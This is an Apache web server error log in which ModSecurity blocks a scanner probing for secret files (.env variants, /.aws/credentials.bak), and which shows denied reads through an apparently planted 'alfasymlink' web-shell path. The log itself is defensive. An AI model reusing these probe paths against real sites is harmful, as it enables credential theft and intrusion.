[Mon Oct 26 23:33:58.614006 2026] [ssl:error] [pid 3150489:tid 3150489] (70014)End of file found: [client 44.195.50.71:37504] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:34:02.623257 2026] [ssl:error] [pid 3153081:tid 3153081] (70014)End of file found: [client 3.224.215.150:53377] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:34:06.427806 2026] [ssl:error] [pid 3153096:tid 3153096] (70014)End of file found: [client 44.206.93.215:20478] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:34:14.570924 2026] [ssl:error] [pid 3152938:tid 3152938] (70014)End of file found: [client 52.70.123.241:21971] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:34:18.437995 2026] [ssl:error] [pid 3152927:tid 3152927] (70014)End of file found: [client 100.29.107.38:61212] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:34:23.751712 2026] [ssl:error] [pid 3152934:tid 3152934] (70014)End of file found: [client 85.208.96.210:33698] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:34:26.526930 2026] [core:error] [pid 3147515:tid 3147515] (13)Permission denied: [client 52.54.157.23:23151] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/wakeup/wakeup5/device/subsystem/drivers/button/unbind
[Mon Oct 26 23:34:38.356657 2026] [ssl:error] [pid 3152951:tid 3152951] (6)No such device or address: [client 185.191.171.11:51378] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:34:38.443246 2026] [ssl:error] [pid 3153096:tid 3153096] (70014)End of file found: [client 98.84.70.201:13139] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:34:39.351355 2026] [ssl:error] [pid 3152934:tid 3152934] (6)No such device or address: [client 185.191.171.11:51396] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:34:50.421960 2026] [ssl:error] [pid 3152938:tid 3152938] (70014)End of file found: [client 3.212.219.113:55611] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:34:57.587074 2026] [security2:error] [pid 3153096:tid 3153096] [client 130.12.180.168:32410] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env"] [unique_id "auAb4Uru4PqRFVomP2nLuQAAAA0"]
[Mon Oct 26 23:34:57.587393 2026] [security2:error] [pid 3153096:tid 3153096] [client 130.12.180.168:32410] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env"] [unique_id "auAb4Uru4PqRFVomP2nLuQAAAA0"]
[Mon Oct 26 23:34:57.587803 2026] [security2:error] [pid 3153096:tid 3153096] [client 130.12.180.168:32410] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env"] [unique_id "auAb4Uru4PqRFVomP2nLuQAAAA0"]
[Mon Oct 26 23:34:58.633040 2026] [ssl:error] [pid 3152951:tid 3152951] (70014)End of file found: [client 98.83.177.42:18097] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:35:06.511651 2026] [ssl:error] [pid 3147515:tid 3147515] (70014)End of file found: [client 52.203.65.83:47092] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:35:14.451972 2026] [core:error] [pid 3153096:tid 3153096] (13)Permission denied: [client 34.225.87.80:50523] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory2/node0/memory18/subsystem/drivers_probe
[Mon Oct 26 23:35:18.808031 2026] [ssl:error] [pid 3152934:tid 3152934] (70014)End of file found: [client 98.80.130.239:53849] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:35:22.641672 2026] [ssl:error] [pid 3147565:tid 3147565] (70014)End of file found: [client 98.82.40.168:3239] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:35:30.437899 2026] [core:error] [pid 3152938:tid 3152938] (13)Permission denied: [client 52.4.76.156:12855] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:01/physical_node/subsystem/drivers/ata_piix/0000:00:01.1/driver/new_id
[Mon Oct 26 23:35:41.134524 2026] [core:error] [pid 3147515:tid 3147515] (13)Permission denied: [client 185.191.171.7:46240] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/19/net/rpc/auth.unix.ip/channel
[Mon Oct 26 23:35:46.013168 2026] [authz_core:error] [pid 3152938:tid 3152938] [client 34.78.64.142:47672] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 23:35:46.322458 2026] [security2:error] [pid 3149145:tid 3149145] [client 34.78.64.142:47688] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.aws/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.aws/.env"] [unique_id "auAcEmD99EvW2fD6Vi-vxwAAABM"]
[Mon Oct 26 23:35:46.322842 2026] [security2:error] [pid 3149145:tid 3149145] [client 34.78.64.142:47688] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.aws/.env"] [unique_id "auAcEmD99EvW2fD6Vi-vxwAAABM"]
[Mon Oct 26 23:35:46.323127 2026] [security2:error] [pid 3149145:tid 3149145] [client 34.78.64.142:47688] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.aws/.env"] [unique_id "auAcEmD99EvW2fD6Vi-vxwAAABM"]
[Mon Oct 26 23:35:46.397664 2026] [security2:error] [pid 3146389:tid 3146389] [client 34.78.64.142:47730] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/.aws/credentials.bak"] [unique_id "auAcEuJUkwm96ZYHDUs2CQAAABE"]
[Mon Oct 26 23:35:46.397954 2026] [security2:error] [pid 3146389:tid 3146389] [client 34.78.64.142:47730] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.aws/credentials.bak"] [unique_id "auAcEuJUkwm96ZYHDUs2CQAAABE"]
[Mon Oct 26 23:35:46.398230 2026] [security2:error] [pid 3146389:tid 3146389] [client 34.78.64.142:47730] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.aws/credentials.bak"] [unique_id "auAcEuJUkwm96ZYHDUs2CQAAABE"]
[Mon Oct 26 23:35:46.399349 2026] [security2:error] [pid 3149145:tid 3149145] [client 34.78.64.142:47688] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.docker/laravel/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.docker/laravel/app/.env"] [unique_id "auAcEmD99EvW2fD6Vi-vyAAAABM"]
[Mon Oct 26 23:35:46.399505 2026] [security2:error] [pid 3149145:tid 3149145] [client 34.78.64.142:47688] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.docker/laravel/app/.env"] [unique_id "auAcEmD99EvW2fD6Vi-vyAAAABM"]
[Mon Oct 26 23:35:46.399752 2026] [security2:error] [pid 3149145:tid 3149145] [client 34.78.64.142:47688] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.docker/laravel/app/.env"] [unique_id "auAcEmD99EvW2fD6Vi-vyAAAABM"]
[Mon Oct 26 23:35:46.417624 2026] [security2:error] [pid 3153081:tid 3153081] [client 34.78.64.142:47800] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env-example"] [unique_id "auAcEl9GAVpomZaedseMWQAAAAQ"]
[Mon Oct 26 23:35:46.417766 2026] [security2:error] [pid 3153081:tid 3153081] [client 34.78.64.142:47800] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env-example"] [unique_id "auAcEl9GAVpomZaedseMWQAAAAQ"]
[Mon Oct 26 23:35:46.417971 2026] [security2:error] [pid 3147448:tid 3147448] [client 34.78.64.142:47736] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.docker/.env"] [unique_id "auAcEm_jKEuts3LY6kCVjQAAAAE"]
[Mon Oct 26 23:35:46.418062 2026] [security2:error] [pid 3153081:tid 3153081] [client 34.78.64.142:47800] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env-example"] [unique_id "auAcEl9GAVpomZaedseMWQAAAAQ"]
[Mon Oct 26 23:35:46.418155 2026] [security2:error] [pid 3147448:tid 3147448] [client 34.78.64.142:47736] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.docker/.env"] [unique_id "auAcEm_jKEuts3LY6kCVjQAAAAE"]
[Mon Oct 26 23:35:46.418431 2026] [security2:error] [pid 3147448:tid 3147448] [client 34.78.64.142:47736] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.docker/.env"] [unique_id "auAcEm_jKEuts3LY6kCVjQAAAAE"]
[Mon Oct 26 23:35:46.482694 2026] [security2:error] [pid 3149145:tid 3149145] [client 34.78.64.142:47688] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "auAcEmD99EvW2fD6Vi-vyQAAABM"]
[Mon Oct 26 23:35:46.482867 2026] [security2:error] [pid 3149145:tid 3149145] [client 34.78.64.142:47688] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "auAcEmD99EvW2fD6Vi-vyQAAABM"]
[Mon Oct 26 23:35:46.483099 2026] [security2:error] [pid 3149145:tid 3149145] [client 34.78.64.142:47688] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "auAcEmD99EvW2fD6Vi-vyQAAABM"]
[Mon Oct 26 23:35:46.483723 2026] [security2:error] [pid 3150489:tid 3150489] [client 34.78.64.142:47720] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.anthropic"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.anthropic"] [unique_id "auAcEjvJu9RIoV0HiuBZ4wAAAAA"]
[Mon Oct 26 23:35:46.483904 2026] [security2:error] [pid 3150489:tid 3150489] [client 34.78.64.142:47720] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.anthropic"] [unique_id "auAcEjvJu9RIoV0HiuBZ4wAAAAA"]
[Mon Oct 26 23:35:46.484338 2026] [security2:error] [pid 3150489:tid 3150489] [client 34.78.64.142:47720] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.anthropic"] [unique_id "auAcEjvJu9RIoV0HiuBZ4wAAAAA"]
[Mon Oct 26 23:35:46.493606 2026] [security2:error] [pid 3153081:tid 3153081] [client 34.78.64.142:47800] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env-sample"] [unique_id "auAcEl9GAVpomZaedseMWgAAAAQ"]
[Mon Oct 26 23:35:46.493747 2026] [security2:error] [pid 3153081:tid 3153081] [client 34.78.64.142:47800] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env-sample"] [unique_id "auAcEl9GAVpomZaedseMWgAAAAQ"]
[Mon Oct 26 23:35:46.494053 2026] [security2:error] [pid 3153081:tid 3153081] [client 34.78.64.142:47800] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env-sample"] [unique_id "auAcEl9GAVpomZaedseMWgAAAAQ"]
[Mon Oct 26 23:35:46.495387 2026] [security2:error] [pid 3147515:tid 3147515] [client 34.78.64.142:47738] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.aws"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.aws"] [unique_id "auAcEjtlUsnco091MEfl-QAAAAc"]
[Mon Oct 26 23:35:46.495534 2026] [security2:error] [pid 3147515:tid 3147515] [client 34.78.64.142:47738] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.aws"] [unique_id "auAcEjtlUsnco091MEfl-QAAAAc"]
[Mon Oct 26 23:35:46.495786 2026] [security2:error] [pid 3147515:tid 3147515] [client 34.78.64.142:47738] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.aws"] [unique_id "auAcEjtlUsnco091MEfl-QAAAAc"]
[Mon Oct 26 23:35:46.496050 2026] [security2:error] [pid 3152940:tid 3152940] [client 34.78.64.142:47704] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.backup"] [unique_id "auAcEnqFfbazysLpfsTwSQAAAA8"]
[Mon Oct 26 23:35:46.496186 2026] [security2:error] [pid 3152940:tid 3152940] [client 34.78.64.142:47704] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.backup"] [unique_id "auAcEnqFfbazysLpfsTwSQAAAA8"]
[Mon Oct 26 23:35:46.496472 2026] [security2:error] [pid 3152940:tid 3152940] [client 34.78.64.142:47704] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.backup"] [unique_id "auAcEnqFfbazysLpfsTwSQAAAA8"]
[Mon Oct 26 23:35:46.557625 2026] [security2:error] [pid 3152934:tid 3152934] [client 34.78.64.142:47728] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.bak"] [unique_id "auAcEvaBHXiICPr245B4LQAAAAM"]
